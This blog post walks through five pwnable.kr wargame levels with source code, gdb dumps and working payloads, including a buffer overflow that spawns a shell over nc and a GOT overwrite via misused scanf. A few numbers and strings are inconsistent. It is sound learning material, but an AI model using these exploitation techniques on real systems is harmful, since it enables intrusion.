In these series of blog posts, I will attempt to solve most levels of pwnable.kr as part of my plan to learn more about Binary analysis and exploitation.
Pwnable.kr has 4 levels of difficulties: Toddler’s Bottle, Rookis, Grotesque and Hacker’s Secret. This first post will contain the first 5 levels (Toddler’s Bottle levels): fd, collision, bof, flag and passcode.
Here goes nothing !
fd
The Toddler’s Bottle levels are meant to make you comfortable with the basics of C,ELF,Linux … and fd is a good start.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
We are provided with the source code and the binary. The program basically takes a number as an argument then converts it to an int (from char) and subtracts 0x1234 (4660). What does it do with the argument after that ? It serves as the first argument to read(). But what does that mean ? Let’s look at the manual of read().
1
2
3
4
5
read - read from a file descriptor
ssize_t read(int fd, void *buf, size_t count);
read() attempts to read up to count bytes from file descriptor 'fd' into the buffer starting at buf.
What is a file descriptor though ? In C, when handling files or input/output resources we use three integers that represent input, output and errors.
- stdin (standard input) file descriptor is 0
- stdout (standard output) is 1
- stderr (standard error) is 2
So what we want to do is make fd 0 (stdin) so we can give some input and pass LETMEWIN to solve the challenge. Let’s try to pass 4660 as the argument then LETMEPASS and see what happens.
1
2
3
fd@pwnable:~$ ./fd 4660
LETMEWIN
***************************
We get flag !!
collision
we start by looking into the source code of collision.
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
What does the program do ? It basically takes an argument (20 bytes), converts every 4 bytes to an int and adds it all together. If the sum is 0x21DD09EC we get the flag.
So we can approach this by dividing 0x21DD09EC by 5 but it’s not dividable so we divide by 4 and add the remainder. After converting it to decimal and doing some basic math we come up with this: 568134124 = 4 x 113626824 + 113626828.
4 x 4 bytes of 113626824 (0x06C5CEC8) then 4 bytes of 113626828 (0x06C5CECC).
So our payload is going to be : ./col $(python -c "print '\xc8\xce\xc5\x06'*4+'\xcc\xce\xc5\x06'")
(don’t forget the endianess :) )
And we get flag !!
bof
Buffer Overflows. Many hate hearing it and some even fear it. It’s easy stuff once you get the hang of it so let’s overflow some buffers.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
This one is rather simple. Overflow the buffer and overwrite ‘key’ with 0xcafebabe.
let’s run it in gdb and disassemble ‘func’.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
gef➤ disassemble func
Dump of assembler code for function func:
0x5655562c <+0>: push ebp
0x5655562d <+1>: mov ebp,esp
0x5655562f <+3>: sub esp,0x48
0x56555632 <+6>: mov eax,gs:0x14
0x56555638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x5655563b <+15>: xor eax,eax
0x5655563d <+17>: mov DWORD PTR [esp],0x78c
0x56555644 <+24>: call 0x56555645 <func+25>
0x56555649 <+29>: lea eax,[ebp-0x2c]
0x5655564c <+32>: mov DWORD PTR [esp],eax
0x5655564f <+35>: call 0x56555650 <func+36>
0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x5655565b <+47>: jne 0x5655566b <func+63>
0x5655565d <+49>: mov DWORD PTR [esp],0x79b
0x56555664 <+56>: call 0x56555665 <func+57>
0x56555669 <+61>: jmp 0x56555677 <func+75>
0x5655566b <+63>: mov DWORD PTR [esp],0x7a3
0x56555672 <+70>: call 0x56555673 <func+71>
0x56555677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x5655567a <+78>: xor eax,DWORD PTR gs:0x14
0x56555681 <+85>: je 0x56555688 <func+92>
0x56555683 <+87>: call 0x56555684 <func+88>
0x56555688 <+92>: leave
0x56555689 <+93>: ret
End of assembler dump.
gef➤
The comparison happens at ebp+0x8
1
cmp DWORD PTR [ebp+0x8],0xcafebabe). That's what we want to overwrite with 0xcafebabe.
Let’s set a break point at that instruction. Then run and give it 100 bytes and see if we hit ebp+8.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
gef➤ r <<< $(python2 -c "print 'a'*100")
Starting program: /home/kin/pwnable.kr/bof <<< $(python2 -c "print 'a'*100")
overflow me :
Breakpoint 1, 0x56555654 in func ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffd33c → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
$ebx : 0x0
$ecx : 0xf7f83540 → 0xfbad2088
$edx : 0xfbad2088
$esp : 0xffffd320 → 0xffffd33c → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
$ebp : 0xffffd368 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
$esi : 0xf7f82e1c → 0x001edd2c
$edi : 0xf7f82e1c → 0x001edd2c
$eip : 0x56555654 → <func+40> cmp DWORD PTR [ebp+0x8], 0xcafebabe
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd320│+0x0000: 0xffffd33c → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]" ← $esp
0xffffd324│+0x0004: 0x00000000
0xffffd328│+0x0008: 0xf7ffcfcc → 0x0002cf04
0xffffd32c│+0x000c: 0x00000000
0xffffd330│+0x0010: 0x00000000
0xffffd334│+0x0014: 0x56555530 → <_start+0> xor ebp, ebp
0xffffd338│+0x0018: 0x00001000
0xffffd33c│+0x001c: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x56555647 <func+27> mov esp, DWORD PTR [ecx-0x762bba73]
0x5655564d <func+33> add al, 0x24
0x5655564f <func+35> call 0xf7e05880 <gets>
●→ 0x56555654 <func+40> cmp DWORD PTR [ebp+0x8], 0xcafebabe
0x5655565b <func+47> jne 0x5655566b <func+63>
0x5655565d <func+49> mov DWORD PTR [esp], 0x5655579b
0x56555664 <func+56> call 0xf7dda6e0 <system>
0x56555669 <func+61> jmp 0x56555677 <func+75>
0x5655566b <func+63> mov DWORD PTR [esp], 0x565557a3
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "bof", stopped 0x56555654 in func (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x56555654 → func()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/x $ebp+8
0xffffd370: 0x61616161
gef➤
Ahah! we did. Now we use Metasploit’s pattern_create and pattern_offset to determine the offset and we get: 52.
So our payload is gonna be : 52 x ‘a’ + 0xcafebabe. (little endianess reminder :) )
1
2
3
4
5
6
7
8
9
[kin@natsukashii pwnable.kr]$ python2 -c "print 'a'*52+'\xbe\xba\xfe\xca'" > payload
[kin@natsukashii pwnable.kr]$ cat payload - | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
log2
super.pl
We get flag !!
flag
Let’s get started on flag.
1
2
3
4
[kin@natsukashii pwnable.kr]$ ./flag
I will malloc() and strcpy the flag there. take it.
[kin@natsukashii pwnable.kr]$ file flag
flag: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header
Upon initial analysis we see two things:
- That there are no section headers. A stripped binary, weird :/
- It runs malloc then strcmp.
Running strings -n 5 (to eliminate all strings smaler than 5 bytes) i stumble upon a interesting string : “This file is packed with the UPX executable packer http://upx.sf.net” This file has been packed using upx ! So we can’t really use ltrace/strace on it until we unpack it.
What is upx? What does packed mean ?
Packing a binary is like compressing it. And upx is simply a tool to achieve that.
So we install upx on our system and run the following to decompress.
upx -d flag
Now we debug it in gdb.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
gef➤ disassemble main
Dump of assembler code for function main:
0x0000000000401164 <+0>: push rbp
0x0000000000401165 <+1>: mov rbp,rsp
0x0000000000401168 <+4>: sub rsp,0x10
0x000000000040116c <+8>: mov edi,0x496658
0x0000000000401171 <+13>: call 0x402080 <puts>
0x0000000000401176 <+18>: mov edi,0x64
0x000000000040117b <+23>: call 0x4099d0 <malloc>
0x0000000000401180 <+28>: mov QWORD PTR [rbp-0x8],rax
=> 0x0000000000401184 <+32>: mov rdx,QWORD PTR [rip+0x2c0ee5] # 0x6c2070 <flag>
0x000000000040118b <+39>: mov rax,QWORD PTR [rbp-0x8]
0x000000000040118f <+43>: mov rsi,rdx
0x0000000000401192 <+46>: mov rdi,rax
0x0000000000401195 <+49>: call 0x400320
0x000000000040119a <+54>: mov eax,0x0
0x000000000040119f <+59>: leave
0x00000000004011a0 <+60>: ret
The program told us that it runs malloc then strcmp, so the second call (call 0x400320) should be strcmp so let’s put a breakpoint there and check out RDX.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gef➤ break *0x0000000000401195
Breakpoint 2 at 0x401195
gef➤ r
Starting program: /home/kin/pwnable.kr/flag
I will malloc() and strcpy the flag there. take it.
Breakpoint 2, 0x0000000000401195 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00000000006c9720 → 0x0000000000000000
$rbx : 0x0000000000401ae0 → <__libc_csu_fini+0> push rbx
$rcx : 0x8
$rdx : 0x0000000000496628 → "XXXXXXXXXXXXFLAGHEREXXXXXXXXXXXXXXXXXXXXX"
$rsp : 0x00007fffffffe160 → 0x0000000000401a50 → <__libc_csu_init+0> push r14
$rbp : 0x00007fffffffe170 → 0x0000000000000000
$rsi : 0x0000000000496628 → "XXXXXXXXXXXXFLAGHEREXXXXXXXXXXXXXXXXXXXXX"
$rdi : 0x00000000006c9720 → 0x0000000000000000
$rip : 0x0000000000401195 → <main+49> call 0x400320
$r8 : 0x1
$r9 : 0x3
$r10 : 0x22
$r11 : 0x0
GEF already displays the content of registers but if you use vanilla gdb you can simply run something like : “x/s $rdx”
passcode
Next up is passcode.
Code:
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
What’s happening here ?
- Program asks for some input : name (100 bytes), passcode1 and passcode2.
- Compares the two passcodes with some numbers to get flag.
Sounds good so far. But actually not lol. We notice that scanf() is taking a int as an argument where it should be an int*.
scanf("%d", passcode1);
Should have been:
scanf("%d", &passcode1);
Scanf basically takes a pointer and writes input to that pointer. But here we are giving it a variable so if we can control this variable we can write anything to any address we want !!
Let’s run the binary and give it some input.
1
2
3
4
5
6
7
8
passcode@pwnable:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : awkward
Welcome awkward!
enter passcode1 : 338150
Segmentation fault (core dumped)
passcode@pwnable:~$
We get a segfault. Well makes sense since scanf was written wrong. But can we exploit this ?
Let’s run it in gdb and look at the login func.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
passcode@pwnable:~$ gdb ./passcode
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./passcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble login
Dump of assembler code for function login:
0x08048564 <+0>: push ebp
0x08048565 <+1>: mov ebp,esp
0x08048567 <+3>: sub esp,0x28
0x0804856a <+6>: mov eax,0x8048770
0x0804856f <+11>: mov DWORD PTR [esp],eax
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov eax,0x8048783
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804858b <+39>: mov eax,ds:0x804a02c
0x08048590 <+44>: mov DWORD PTR [esp],eax
0x08048593 <+47>: call 0x8048430 <fflush@plt>
0x08048598 <+52>: mov eax,0x8048786
0x0804859d <+57>: mov DWORD PTR [esp],eax
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov eax,0x8048783
0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc]
0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx
0x080485b1 <+77>: mov DWORD PTR [esp],eax
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>
0x080485b9 <+85>: mov DWORD PTR [esp],0x8048799
0x080485c0 <+92>: call 0x8048450 <puts@plt>
0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: mov DWORD PTR [esp],0x80487bd
0x080485f8 <+148>: call 0x8048450 <puts@plt>
0x080485fd <+153>: mov DWORD PTR [esp],0x0
0x08048604 <+160>: call 0x8048480 <exit@plt>
End of assembler dump.
(gdb)
Let’s set a breakpoint at the first comparison at 0x080485c5. Then run it with 100 bytes again to just see what’s going on.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
passcode@pwnable:~$ gdb ./passcode
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./passcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble login
Dump of assembler code for function login:
0x08048564 <+0>: push ebp
0x08048565 <+1>: mov ebp,esp
0x08048567 <+3>: sub esp,0x28
0x0804856a <+6>: mov eax,0x8048770
0x0804856f <+11>: mov DWORD PTR [esp],eax
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov eax,0x8048783
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804858b <+39>: mov eax,ds:0x804a02c
0x08048590 <+44>: mov DWORD PTR [esp],eax
0x08048593 <+47>: call 0x8048430 <fflush@plt>
0x08048598 <+52>: mov eax,0x8048786
0x0804859d <+57>: mov DWORD PTR [esp],eax
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov eax,0x8048783
0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc]
0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx
0x080485b1 <+77>: mov DWORD PTR [esp],eax
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>
0x080485b9 <+85>: mov DWORD PTR [esp],0x8048799
0x080485c0 <+92>: call 0x8048450 <puts@plt>
0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: mov DWORD PTR [esp],0x80487bd
0x080485f8 <+148>: call 0x8048450 <puts@plt>
0x080485fd <+153>: mov DWORD PTR [esp],0x0
0x08048604 <+160>: call 0x8048480 <exit@plt>
End of assembler dump.
(gdb) break *0x080485c5
Breakpoint 1 at 0x80485c5
(gdb) r <<< $(python -c "print 'a'*100")
Starting program: /home/passcode/passcode <<< $(python -c "print 'a'*100")
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
enter passcode1 : enter passcode2 : checking...
Breakpoint 1, 0x080485c5 in login ()
Now let’s see the value that is being compared at ebx-0x10
1
2
(gdb) x/x $ebp-0x10
0xffc08278: 0x61616161
We control it ? yes ! The stack being reused made us control passcode1 through name[100].
So to recap:
- we can control passcode1
- we can use scanf to write anywhere using passcode1
But what are we gonna write to get flag ?
We can use a technique in which we overwrite the Global Offset Table entry of a function to point at another address.
What is the GOT though (and PLT)?
The Procedure Linkage Table is a set of intructions that point to an entry at the GOT. The GOT is basically a table containing addresses of functions to point at. The GOT/PLT exist because of dynamic linking which basically links functions to programs at runtime.
fflush seems like a nice target. Let’s look at fflush@plt
1
2
3
4
5
(gdb) x/4i 0x8048430
0x8048430 <fflush@plt>: jmp DWORD PTR ds:0x804a004
0x8048436 <fflush@plt+6>: push 0x8
0x804843b <fflush@plt+11>: jmp 0x8048410
0x8048440 <__stack_chk_fail@plt>: jmp DWORD PTR ds:0x804a008
The plt performs a jmp to 0x804a004 which is the got entry. We can confirm that:
1
2
(gdb) x/i 0x804a004
0x804a004 <fflush@got.plt>: test BYTE PTR ss:[eax+ecx*1],al
We’re going to point it to one instruction before the system() instruction to allow “/bin/cat flag” to be loaded into the register.
Now let’s put it all together, our payload is as follows:
96 bytes buffer | 4 bytes GOT entry | 4 bytes address of intruction before ‘call system’ as an integer |
‘a’*96 | \x04\xa0\x04\x08 (lil endianess) | 134514147 (0x80485e3) |
Note: scanf expects a “%d” (integer) and thus the last part of the exploit being an integer.
let’s try it :
1
2
3
4
5
passcode@pwnable:~$ ./passcode <<< $(python -c "print 'a'*96+'\x04\xa0\x04\x08'+'134514142'")
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
XXXXXXXXXXXXXXXXXXXXXXFLAGXXXHEREXXXXXXXXXXXXXXXXXXXXX
Now I can safely trust you that you have credential :)
We get flag !